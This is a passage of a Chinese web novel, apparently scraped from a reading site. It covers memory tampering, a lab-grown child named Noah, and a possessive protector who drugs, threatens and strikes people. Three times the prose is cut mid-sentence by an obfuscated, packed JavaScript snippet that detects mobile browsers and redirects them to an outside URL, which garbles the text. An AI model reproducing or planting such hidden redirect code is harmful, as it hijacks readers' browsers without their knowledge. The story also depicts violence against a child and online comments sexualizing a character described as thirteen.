他的眼角和鼻尖带着微红,更红的两片嘴唇微微抿着,看起来像想祈求一个吻又不愿承认,整个人看上去都超乎寻常的柔软,令人十分想要用很大的力气去揉捏,可很快便再意识到他太瘦,恐怕经受不起那样的蹂躏。 接着令人更想施加该种暴力。 过了会儿,无所知觉的柏之萤在骆珩怀里伸了个懒腰,慢吞吞把自己这两天的思考说给骆珩听。 章衔京之前说,柏之萤在五年前的结婚纪念日向他提出要成立新项目,那个孩子就是在该项目中诞生的,后来由于柏之萤的违规操作,被章衔京销毁。 柏之萤脑袋里确实没有相关的记忆,可是他不光是没有这一段记忆。 昨天,墨云随口提过,他婚礼上用的花都是马蹄莲,但在柏之萤的记忆里,现场到处都是白色百合。 这两种花的区别是有的,如果是第一手的记忆,就算当时在场的人没有注意花的种类,那么只可能是不记得,而不是清清楚楚地记错。 这种情况只有可能发生在人造记忆中。 所以说,能够十分肯定的是:今年年初,柏之萤脑袋里,有关于墨云婚礼前后的记忆,都是人为制造后缝合进去的。 如果这是整件事的起点,那么章衔京就是在用蒙太奇手法给他制造障碍。 这件事不是发生在五年前,而是近在今年年初。 “如果是两个时间点的记忆都有问题呢?”骆珩问。他的声音听不出什么情绪。 一个普通科研项目的落地,所需要的程序冗杂,更别说是有关于融合体成体的研究。 而且,一个融合体的成功诞生,要经历数不清的失败。 五年前组建项目组,若干时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033927|178653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间后孩子诞生,听起来更科学一些。 “……”柏之萤想了想,道,“我不是没想过这种可能,可你也听祁既白说了,光是进行一次记忆提取,就那么痛苦……还对我两个时间段的记忆做抽取和插入缝合,章衔京又不恨我,不至于那么变态吧。” 是的,章衔京没那么变态。 那么变态的是骆珩。 今年的元旦,骆珩掐着倒数的时间给柏之萤打电话,在南加中心公园的钟声敲响时,对柏之萤说“阿萤,新年快乐,我爱你”。 也许是节日的气氛感染了柏之萤,往常对骆珩告白话语态度没那么热情的柏之萤也向他分享了一个好消息:神女计划马上要成功了。 不过,柏之萤有些担忧。 培育囊的成功率在他的项目组大大下降,前前后后培养了二百八十六个胚胎,突破了三个月存活期的,只有一个。 “诺亚今天在培育囊里吃手指了,你不知道,她的指间蹼还没退干净呢,大脑发育超前程度超过了所有我见过的融合体。” “不过,我很担心,培育囊的条件会不会跟不上她的需求,我总在想,可能人体环境更适合她的生长,其他研究员也都劝我,或许,这时候给她起名还是太早……” 骆珩没带过孩子,可他了解柏之萤。 他明白,当孩子说想上厕所时其实已经拉了一裤子的道理,十分适用于柏之萤,果然,那是柏之萤给自己移植培育囊的第二天。 章衔京不肯对柏之萤松手,可他简直是极度的失职。 如果柏之萤是生活在骆珩身边,骆珩不会允许有这种事情的发生。 当时他给章衔京去电,章衔京还沉浸在柏之萤在培育来自他精子的实验体的美梦中,不知道柏之萤只是骗他通过项目申请,用的一直是柏之萤自己的细胞,自己的基因序列。 而柏之萤本人,即将迎来柏言蹊的下场——被自己的实验体完全蛊惑神智,到最后,整个人的世界中心都成了那个实验体,存在的意义,也只剩下保护实验体。 毕竟,当年五岁的柏之萤在研究所对他们的追捕中受伤失血,柏言蹊就能毫不犹豫地割断自己的手腕,为他输血。 柏言蹊就那么死了。 他的伴侣庄延将奄奄一息的柏之萤丢出家门,宣称他的精神力蛊惑毫无道德感可言,此生与他断绝关系,同时建议研究所立即执行销毁令。 被精简成“实验体反杀研究员”的故事在普通人群体中引起了巨大的恐慌,流落世界各处的实验体则被戳到痛处,走上街头抗议时,手中举着年幼的柏之萤脸色苍白晕倒在警署门口、如注的暴雨打在他全身的照片,他的身上都是血。 长大后的柏之萤做了跟当年柏言蹊一模一样的事。 他可能是对柏言蹊的死耿耿于怀,也可能只是好奇自己的序列中到底有没有那样的控制能力。 他不管他的好奇杀死的猫会是他自己。 骆珩能怎么办呢。 他将柏之萤带上飞机,多年前用于珍稀动物保护的药剂,一管下去,便会将这个不知死活的人体内的培育囊渐渐溶解。 随后,柏之萤躺进数据转换机里,哪怕是全麻的静止状态,极度的痛苦都能传达给站在舱外注视他的人心中。 生理性的泪水不断从他眼角滑落,如果柏之萤能够尖叫,那么整栋楼的人都将为他的惨烈遭遇而心颤。 对于精神状态不坚强的人来说,有极大的可能被这台机器摧毁意志。 可骆珩确信,自己别无选择。 而那个注定对柏之萤产生生命威胁的实验体—— 处理好柏之萤以后,骆珩回到锡城,亲手打碎了装着培育囊的恒温箱,拟羊水的液体流了满地,足以体现柏之萤对它的溺爱——他用了家用游泳池那么大的恒温箱。 液体倾泻而出,冲击力强劲,黏腻恶心的触感充满了骆珩的下半身,还有少许溅到他的脸和脖颈,骆珩无暇去管。 接着,骆珩从贴着柏之萤名字的工具箱里找到一把趁手的手术刀,大脑里回放着柏之萤被他绑上飞机时哭着说恨他的样子,面无表情地划开培育囊,扯出据柏之萤说还没成人型就已经学会吃手动作的异类——垃圾就该待在垃圾袋里。 骆珩亲手将那个黑色的生化垃圾袋丢进了有害垃圾处理箱。 16.第 16 章 第十六章 虽然已经在纸媒和新闻上多次见过柏之萤的照片,但一直到柏之萤带了一大堆人,摆谱摆得很大,到骆珩在南加的驻地游学调研,两个人才是第一次真正见面。 与骆珩当初抗拒领养柏之萤时的顾虑一样,柏之萤带给骆珩的麻烦,只多不少。 他怕冷又怕热,挑食、消化不良,容易中暑,又时常着凉发烧,被很普通的小虫子咬一口,都要红肿一大片。 每次有柏之萤跟着的巡防,骆珩百分之九十九的注意力都得在他身上,也不一定能把他照顾得好。 被章衔京派来跟着柏之萤的那些人,总是对骆珩露出抱歉的表情,可为柏之萤争取优待的行为,也一直没停过。 最初大家都认为,骆珩讨厌柏之萤,只是碍于章衔京的情面,所以需要忍耐。 而骆世同办公室的法务律师对曾经来自骆珩的两封邮件印象十分深刻。 柏之萤到达驻地的三十八天,骆珩咨询:被撤销的领养能否追回。 隔了一周,骆珩又问一遍,真的不行吗,请最好的律师打官司呢? 答案是不能。 临近开学,章衔京来接柏之萤的直升机很快到了驻地。 他西装革履,金丝眼镜更为他添上道貌岸然的伪君子作派,一手搭在柏之萤肩上,另一只手伸出来,感谢骆珩整个暑期对柏之萤的照顾。 骆珩看了眼一早就背好书包的柏之萤,握上章衔京的手,露出一个真心实意的假笑。 章衔京领着柏之萤转身要走,柏之萤突然盯着他的手惊讶道:“你的手怎么了?!” 章衔京久坐办公室,与骆珩交握过的那只手上,肉眼可见清晰的几道指痕。 柏之萤带着探究和不满回头望向骆珩,顺便把那个假笑看得一清二楚,当即生气道:“骆珩,你干什么?” 直升机的螺旋桨在不远处的停机坪上发出巨大的噪音,飞行员一直在等。 章衔京不给骆珩说话的机会,揽过柏之萤的肩膀继续走,训他:“没大没小。” “那他为什么要那样?明明早上还好好的。” “你以为全世界谁都受得了你作天作地?” 柏之萤甩开了章衔京的胳膊,还又回头瞪了骆珩一眼。 好在,晚上骆珩给他发消息道歉,说自己一向力气大、不是故意的,他很快就原谅了骆珩。 还嘱咐了骆珩一句:你对我可不能那么不注意,我很怕疼的。 骆珩回复他:好,好,我记住了。 章衔京说,他给骆珩带去的全是打扰,据他自己观察,却觉得不是。 骆珩分明很欢迎他。 柏之萤:那我以后还能去你那里玩么? 骆珩:当然可以,什么时候想来跟我说,我去接你。 那之后,柏之萤又去过骆珩的驻地无数次。 目的也不再只有游览生态环境复杂的湿地。 探望驻地内新生的一窝小狗,找墨云牵红线,单纯地散心,或是骆珩没什么缘由的邀请……骆珩的直升机接来,章衔京的直升机接去,他就在那条航线的往返中长大了,同时稍稍对晕机感有了适应。 柏之萤十八岁生日后不久,章衔京离开锡城出差去了,骆珩终于得到柏之萤的许可,亲自去接他到新港避暑。 没想到,柏之萤带来了他刚和章衔京领证的消息。 他坐在骆珩的副驾,手里无意识把玩着挂在书包上的小黑猫挂件,脸上有烦恼的神色:“……真有意思,我以为离开学校以后,那些事情会少很多,可我才到研究所多久?你说夸不夸张,有三个人跟我表白,而且三个都是男的,不是送花就是带饭,再这样下去,带我的研究员和同期同学都快对我有意见了。” 骆珩握着方向盘,使车辆平直地行驶在道路中间,等柏之萤讲完所有的困扰,他问了一句:“证已经领了?” 柏之萤点点头:“章衔京说,他接下来几周都要出差,要结婚就趁早。婚礼我暂时不想办,太浪费时间,不过他已经发了动态,这几天研究所的同事都知道了,那几个烦我的人再没敢跟我说过话,墨云还问我什么时候办婚礼呢,那个动态我以为你也看到了。” 骆珩道:“我没关注他。” “墨云没跟你说?” “没有。” 墨云怎么敢跟他说? 墨云请假估计就是因为这个。 最近几天,骆珩办公室好几个都请假了。 “哈哈。”柏之萤低头解锁手机,找出章衔京的账号,点开主页,“章衔京确实没什么好关注的,很没意思,不过我不一样,我还是得给他点面子。” “你怎么不一样?” “……我是他养大的呀。” 南加的傍晚,即便没风,空气也是微凉的。 柏之萤上车后,骆珩就把车窗关了。 可又在短时间内,他胸腔中燃起一把指向无名的烈火,似妒又似愤,烧得他肝胆俱焚,几乎从皮肤里冲出火星。 柏之萤突发奇想,观察起了骆珩的账号主页。 骆珩伸手从后座扯过给柏之萤准备的毛衫,盖在柏之萤腿上,随后将主驾的车窗开了一条缝隙。 过了五分钟,柏之萤停下在屏幕上滑动的手指。 要把骆珩的主页所有动态看完,就只需要五分钟。 第一条,是转发的宣布南加特种生物部队正式成立的公众号推文。 再往后,南加特种生物部队年度总结若干条、融合体条例试推行计划若干篇。 中间有很多柏之萤。 偶尔是柏之萤与蛋糕或礼物们的合照。 偶尔只有柏之萤,是自拍,不过戴着生日快乐的帽子,看得出来也是过生日,往往这种照片,来自柏之萤没有跟骆珩一起过生日的时候。 柏之萤每年过生日他都发,夹杂着骆世同的选举宣传、柏之萤中学毕业、骆世同就职主席的公告、为特种生物筹集善款的晚宴、柏之萤参加summer session…… 看了一会儿,柏之萤嘟囔了一句:“怎么你主页自己发的也全是我啊。” 另一个主页全是柏之萤的人的最新动态是一张图片,里面是两本挨在一起的结婚证。 柏之萤点评,如果是他来拍,他会把两本结婚证互相压着一角,好歹摆出个造型来。 但章衔京把它们拍得极其无聊。 柏之萤关上手机屏幕,对章衔京和骆珩的社交账号主页盖棺定论:“全都很没意思。” 骆珩不记得当天他是怎么回到自己房间的。 他打开只为了了解柏之萤日常生活而下载的app,头一次在搜索框中输入了章衔京。 输入法对这个名字极其陌生,找到章字后,联想输入排在最前面的是“陷阱”两个字。 骆珩在章衔京的主页保存了三十六张柏之萤的照片。 融合体的生长速度普遍比人类婴幼儿快。 十三岁那年,柏之萤的样子就跟现在没什么两样了。 一篇章衔京转发的锡城研究所最新成果展示推文下,评论区有人说:“你们看第八张图,有bzy,越来越好看了有没有,怎么感觉跟章议员其实很好磕的样子”,附和者众,也有人强调他们的父子关系,还有柏之萤的年龄。 那人再次回复:融合体的性成熟都早,又跟纯人类不一样。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040197|178653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补充:很多融合体这个年纪都结婚了,法定结婚年龄只适用于人类,连章议员也没说过给融合体统一性同意的年龄。 骆珩差点把手机捏碎。 章衔京是从哪年开始给柏之萤铺垫的这个陷阱,让他在还没学会喜欢的时候,就想到用结婚来解决屁大点的烦恼。 这个问题没有答案,越想,只会使要章衔京命的念头愈发强烈。 骆珩起身,动作很轻,把又在他怀里睡着的柏之萤放回了床上。 他最近确实越来越嗜睡。 不知道是打的那针溶解体内毒液的药物的原因,还是诺亚。 根据祁既白给的精神分析报告,虽然柏之萤还能维持部分清醒,对许多线索敏锐,多数时候表现正常,但他的神经确实一直在遭受攻击。 干扰如此强烈,骆珩清楚,诺亚还活着。 章衔京表面不满柏之萤跟着骆珩离开,实际上却在骆珩的威胁下签了离婚协议。 他不是怕鱼死网破的人,否则不会做出宁愿把诺亚交给火鸟来躲避骆珩追杀的事,更不敢在骆珩发现诺亚追去港口时用了十成决心去炸死骆珩。 章衔京会签离婚协议,结束这桩他处心积虑得来的婚姻,只能是因为他原本就打算送柏之萤离开锡城。 诺亚还在锡城。 “……想起来了?没把你炸死就算了,怎么恢复得还这么快?”章衔京在电话那头轻笑,“我劝你,见好就收。阿萤在你身边,影响很快就会消失,实在不放心,带他去北美待一段时间,距离远了,不会再有问题。” “诺亚必须死。我不会容忍任何会给柏之萤带来危险的可能存在。” “骆珩。” 章衔京沉默了很久,突然叫了声他的名字,如同毒蛇自脊背攀爬而上,鳞片冰凉潮湿,叫人恶心。 漆黑的夜里,隔着电话,章衔京问他:“你拒绝过柏之萤吗?” 这个问题,骆珩几乎不用思考,他说:“没有。” 章衔京道:“在我知道他竟然把培育囊移植进自己肚子里之前,我也没拒绝过他。你体会过,拒绝他很难。” 柏之萤太会委屈了,那时候的章衔京又太年轻。 柏之萤小的时候,从他从议会下班开始,柏之萤就在他身上挂着。 章衔京做晚饭,两个人一起吃,柏之萤把碗筷放进洗碗机。 章衔京教他写作业,陪他骑车,教他打网球,带他剪头发,买睡衣。 除了帮柏之萤洗澡,其他的事章衔京全做了。 再后来,柏之萤长大了,说要解除领养关系,要结婚,要章衔京的精子,只要章衔京能给的,章衔京也都给了。 结婚后的第五年,柏之萤说,他觉得自己喜欢上了骆珩,提出两人离婚。 章衔京问他,知不知道什么是喜欢,又知不知道两个人在一起要做什么,骆珩的父亲身份特殊,骆珩本人掌握着联盟杀伤力最强的特种生物部队,他跟骆珩结婚后,必定需要离开锡城,他的研究项目怎么办,神女计划还要进行吗,柏之萤被问懵了,后来再没提过。 柏之萤确实被他宠坏了,简直无所畏惧,天真至极成了对爱他的人的一种恶毒——再后来,他竟然弄出个会操纵他意志、极有可能送他去死的孩子出来。 当初,章衔京的第一反应,也是销毁诺亚。 可那孩子长了双跟柏之萤别无二致的眼睛。 柏之萤在他身边生活了二十多年,想到柏之萤知道诺亚被销毁后可能会有的痛苦,只是想象,章衔京都没办法超过三秒地去体会。 拒绝柏之萤很难,更难的是伤害他。 但骆珩在挂电话前又说了一遍:“诺亚必须死。” 17.第 17 章 第十七章 诺亚必须死……诺亚必须死。 诺亚必须……? 骆珩的理智被挤压在一个无限小的空间之内,他需要耗费很多力气,才能收集神智,慢慢找回全身肌肉的控制权。 大脑紧跟着醒过来的一秒,整个人经历了短暂的失重感,像溺水的人呕出肺部满涨的浑水。 凌晨三点四十五分,挣扎着从床上坐起,他的头脑昏沉,双手神经质般打颤,肩颈肌肉发酸,小腿隐有抽筋的感觉。 这是被过量注射麻醉剂的短暂后遗症。 床头柜上,整整齐齐摆着三个小小的空瓶。 当初柏之萤给章衔京打,都是一管接着一管。 一般融合体被注射这个量,应该要睡到明天的凌晨三点四十五分。 一般人被注射这个量,直接睡到下辈子。 睡前躺在他身边,紧紧抱着他,好像很喜欢他的柏之萤也不见了。 手机上有两通祁既白的未接来电,和没打通电话后发来的语音消息。 骆珩点了播放,揉了把一涨一涨似乎马上爆炸的太阳穴,起身下床穿裤子。 祁既白:兄弟,你还好吗?刚实习生给我打电话,说我们独立药房的麻醉剂少了五支,我现在正准备打辞职报告。 原来柏之萤偷了五支,还留有余地,没全给他打进去。 柏之萤还是舍不得他。 祁既白:hello,兄弟,在吗? 祁既白:真被麻晕过去了?这药三分之一能药倒大约克猪,三分之二能药倒赫斯坦牛,哈哈,你老婆给你用了几支? 祁既白:【点蜡】 祁既白:我明天早上去看你。 祁既白:对了兄弟,昨晚我闲着没事干,躺数据转换机里把我那段记忆换回来了,你他妈就让我给柏之萤换了两段记忆,我根本都不知道具体什么事儿,用得着把我也塞里面吗?真的是一段非常没有价值的记忆,找回来以后更爱你了,真爱你啊我的畜生兄弟,希望你老婆把你药倒以后直接剁了吧,我…… 骆珩穿好了衣服,没再继续听后面那一串好几条六十秒的语音,拿上手机出了门。 虽然在气候上,锡城跟南加更相似,但三地呈三角形分布,在地理位置上,锡城其实离新港更近。 自从来到新港,时间不长,柏之萤却已经收到几次幻象。 此前,他以为那是梦,但今天,他确定那是幻象。 只是先前只有在他睡着的时候,才能艰难地传递给他。 那个十分渴望联系到他的孩子,能力在不断地变得强大。 昨天下午,骆珩去医院还没回酒店时,柏之萤窝在沙发小憩的片刻,脑海中出现一副非常清晰的图像,里面有标志性的牌匾,令他立刻认出了位置。 锡城人道主义援助中心。 多年前,章衔京收养柏之萤,就是通过这个机构。 过了几年,许多孤儿院修缮整合,它也换成了现在这个名字。 柏之萤的精神太差,很快睡着。 等骆珩回来,他也没能坚持太久,夜里再醒来,听见骆珩不知在跟谁打电话,语气阴沉,令柏之萤陌生,说:诺亚必须死,柏之萤不用知道。 柏之萤随手借来的麻醉剂再次派上了用场。 这次来新港,搭的是直升机,他们的住处也不是骆珩的家。 找不到能用的车,柏之萤在凌晨走出酒店,好在街上还有出租。 深更半夜,刚往酒吧街送了三个赶赴二场的醉鬼,听说他要打车去锡城,司机首先是警惕。 转头审视,看到一张皮肤素白干净的脸,大眼睛长睫毛,眼瞳孔沉黑,眼神似温驯又疏离,莫名令人想到家里女儿常抱在怀里的那只布偶猫。 而且,这个年轻人虽然穿一件长及小腿的米色风衣,但一点都不是潇洒帅气的气质,新港冷冽的夜风吹过来,抚出一段细瘦的腰线,只叫人担心他会生病,加上他里面的白衬衣没扣最上面那颗扣子,露出一截纤细挺直的颈项,司机只是在想,比他女儿还瘦。 “您好,去锡城可以吗?”柏之萤扶着车门,弯腰对着里面又问一遍。 声线干净,听起来年纪更小,绝不可能是坏人。 “可以是可以。”司机道,“只不过不太划算,从新港去锡城的动车隔不久就有一趟,又便宜,又比出租快得多,我送你去车站?” 柏之萤坐上车,拒绝了司机的提议,不过他被打开思路,改了目的地:“麻烦您送我去最近的租车行。” 他的证件还有诸多限制,章衔京不答应帮他解开,是没办法乘坐公共交通的。 不过他已经拿到驾照,租个车还是可以的。 自助租车的流程很快,不过十分钟,柏之萤就在无人停车场找到了自己的那辆。 导航显示,从这里到锡城人道主义援助中心的驾车时长,是四个半小时,算算时间,那时候天刚亮。 拿到车后,柏之萤先去加油,顺便在加油站买了些功能饮料,和一杯热咖啡。 他还没有过独自开夜车的经验,不过,过去的很多年,骆珩为了见他,频繁往返锡城与南加或是锡城与新港三地,身份特殊,同样不方便乘坐公共交通,直升机又毕竟不比自己开车方便,说走就走。 迎来送往,柏之萤也熟悉了。 车辆压着120的限速稳稳行驶在高速上,只有反光条在纯净的夜色里为视线提供锚点。 原来骆珩去见他的路上景色这样乏味。 一路上车都很少,不过柏之萤依然开得专注。 他没感觉到多强烈的心情起伏,非要说的话,是一种尘埃落定的情绪。 数月来,他的身体像找不到信号的蓝牙设备,被限制了输入,也很难输出。 逻辑思维被拴上无形的锁链,他像被关在透明笼里的动物。 不管在他梦中啼哭的孩子、骆珩口中必须死的诺亚与锡城人道主义援助中心之间是什么样的关系,天亮以后,都会有个答案。 柏之萤只在门口等了不到二十分钟,援助中心就开门了。 对方原本客气周到,但等他说明来意,对方听到“诺亚”,便换了脸色。 骆珩说“诺亚必须死”,那会把它养在这里的,只能是章衔京。 柏之萤微笑:“是章局长让我来的,我是他的配偶。” 他拿出证件。 对方低头检查思忖的时间,从楼上旋风一样冲下来一个穿小黄鸭睡衣的小孩。 是个肉嘟嘟的小姑娘,一头长而蓬松的头发,几乎长到小腿,经过一夜彻底睡乱,有一缕还挂在她浓密的睫毛上。 她漂亮得像个洋娃娃,一张不大的脸上五官精致,眼睛几乎占了一半,嘴巴小而红,鼻尖秀气,皮肤白得似雪,两颊透着健康的血色,冲过来时,嘴里就喊了几遍“妈咪”。 柏之萤被她抱住小腿的时候,坐在窗口里的工作人员低呼:“长得一模一样……” 柏之萤才开始感到手足无措。 前几个月,他坚信自己有过一个孩子,并且不懈地寻找。 可这孩子真到了面前,他的嘴巴被封起来,说不出一个字,双脚被钉在原地,无法迈动一步,双手垂在身侧,也粘了胶水。 柏之萤没太关心过别人的孩子具体几岁该是多大。 可墨云家小孩也就比诺亚小三两个月,现在只知道到处爬,两相对比,差距实在太大。 会跑会跳会说话的小姑娘抱着柏之萤的腿,喃喃叫了几声妈咪,见他毫无回应后,眼睛里慢慢浮起雾气。 她哭得伤心,柏之萤心头也跟着发紧,可身体还是僵硬,想不出安慰的办法。 僵持之下,柏之萤刚想说别哭了,小孩就被人一脚踹开。 骆珩的枪随即抬起,正对她眉心。 柏之萤被解冻的机器人一般,机械地转头,瞪大眼睛看了脸色铁青的骆珩两秒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046834|178653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬手给骆珩就是一个巴掌。 他扇过去的力气大,是真准备打的,骆珩计算了自己退开和迎上这巴掌两种情况下柏之萤的疼痛程度,就站在原地没动。 脸被打得偏过去,皮肤下即刻浮起几根清晰的血色指痕。 柏之萤的动作没停,两手并用,“啪啪啪”几耳光连续打在骆珩头脸和下巴。 最后一下打完,右手指尖扫过骆珩坚硬的颌骨,柏之萤幅度很小地甩了甩手。 骆珩马上收起枪,捏住柏之萤的手:“怎么了,弄疼了?” 柏之萤的胸膛起伏强烈,闻言几乎是在咆哮:“你有病是不是?你是不是有病?她才多大,你打孩子?!你踹她?!!!” 紧接着,柏之萤想起自己曾频繁梦到过的画面,那个巨大的黑洞,分明就是指向诺亚的枪口。 显然骆珩这不是第一次了。 骆珩眼里只看到柏之萤通红的手心,换着位置轻捏他腕骨,知道他没伤着骨头,稍稍放心,但还是忍不住要确认:“冷静些,阿萤,我问你手疼不疼。” 柏之萤愤怒得眼睛里都是水光,嘴唇死死咬着,尖尖小小的下颌此刻在止不住地微微颤动,额头上浮着一层细汗,连肩膀都在发抖,声音低地两个字都说不连贯:“你滚。” 他发力要抽回自己的手,骆珩不敢过于阻拦,握着柏之萤手腕的手转而去圈住柏之萤的腰,把他向自己身边搂了搂,另一只手轻轻摩挲他通红的眼角。 没听到柏之萤的话一样,骆珩的语气温柔,跟平时没什么两样:“你要打人,我以前教过你那么多办法,大拇指藏拳头里握紧,冲鼻子来,又省劲儿又能让别人疼,还不容易伤到自己,全忘了?” 柏之萤听着这些无谓的话,心知自己恶毒敌不过他,心狠手辣敌不过他,力气敌不过他,体型敌不过他,扇了他巴掌,最后疼的依然自己。 被骆珩霸王一样箍住腰身无法动弹,开了一夜车的疲倦也翻涌而来,柏之萤终究没忍住,咬着嘴唇无声地红了眼眶。 诺亚重新扑了过来,死死抱着柏之萤的小腿,坐在他脚边哇哇大哭。 在小恶魔的伴奏中,柏之萤的肩头起伏也越来越明显,嘴唇快要被他咬破,眼圈也红得山雨欲来。 骆珩被他这样子刺得心口发麻,思忖片刻,将诺亚背对着自己拎小鸡似的提溜起来,让她正面趴在柏之萤怀里。 诺亚打蛇随棍上,两只小胖手马上圈住了柏之萤的脖子。 柏之萤被那嫩而软的皮肤贴住,怀里也是一团绵软,心头震感奇异。 眼泪像被关了闸门,诺亚的哭声也跟着小了。 果然,两个小花猫都被按了静音键,脸贴在一起蹭来蹭去,只不间断地发出些沉闷的抽泣声。 稍微冷静过后,柏之萤冷冷瞪了骆珩一眼,从他手中夺过诺亚,完全抱在自己怀里。 诺亚的一只小手揪着柏之萤的风衣衣领,另一只手贴在柏之萤的侧脸上,在他怀里拱来拱去,长睫毛湿漉漉的,也舍不得揉眼睛,一眨不眨地望着柏之萤。 柏之萤一阵一阵的鼻酸,手轻轻去碰诺亚刚才被骆珩踢过的肚子,带着满满的鼻音问:“还疼不疼?我们一会儿去看医生。” 诺亚摇头,只顾着把脸埋进柏之萤颈窝,让他鼻尖盈满幼童特有的香甜味道。 可柏之萤没能坚持多久。 看起来糯糯小小的小女孩被养得浑身是肉,柏之萤抱了没几分钟,不光两条手臂发酸,腰也困了。 他重新把诺亚塞回紧跟在他身边的骆珩手里,重新变回刚才那个姿势,自己不费力地靠过去,才能继续跟诺亚热乎乎的小身体搂在一起。 想到自己连孩子都抱不动,记忆乱七八糟,被他当成除了章衔京以外的另一条出路的骆珩又坏透了,柏之萤开夜车时的平静一去不复返,心头酸涩,眼皮一下一下地发胀,在骆珩趁着帮他抱诺亚的机会伸手来揽他腰的时候,终于崩溃地哭出来:“你滚啊!!”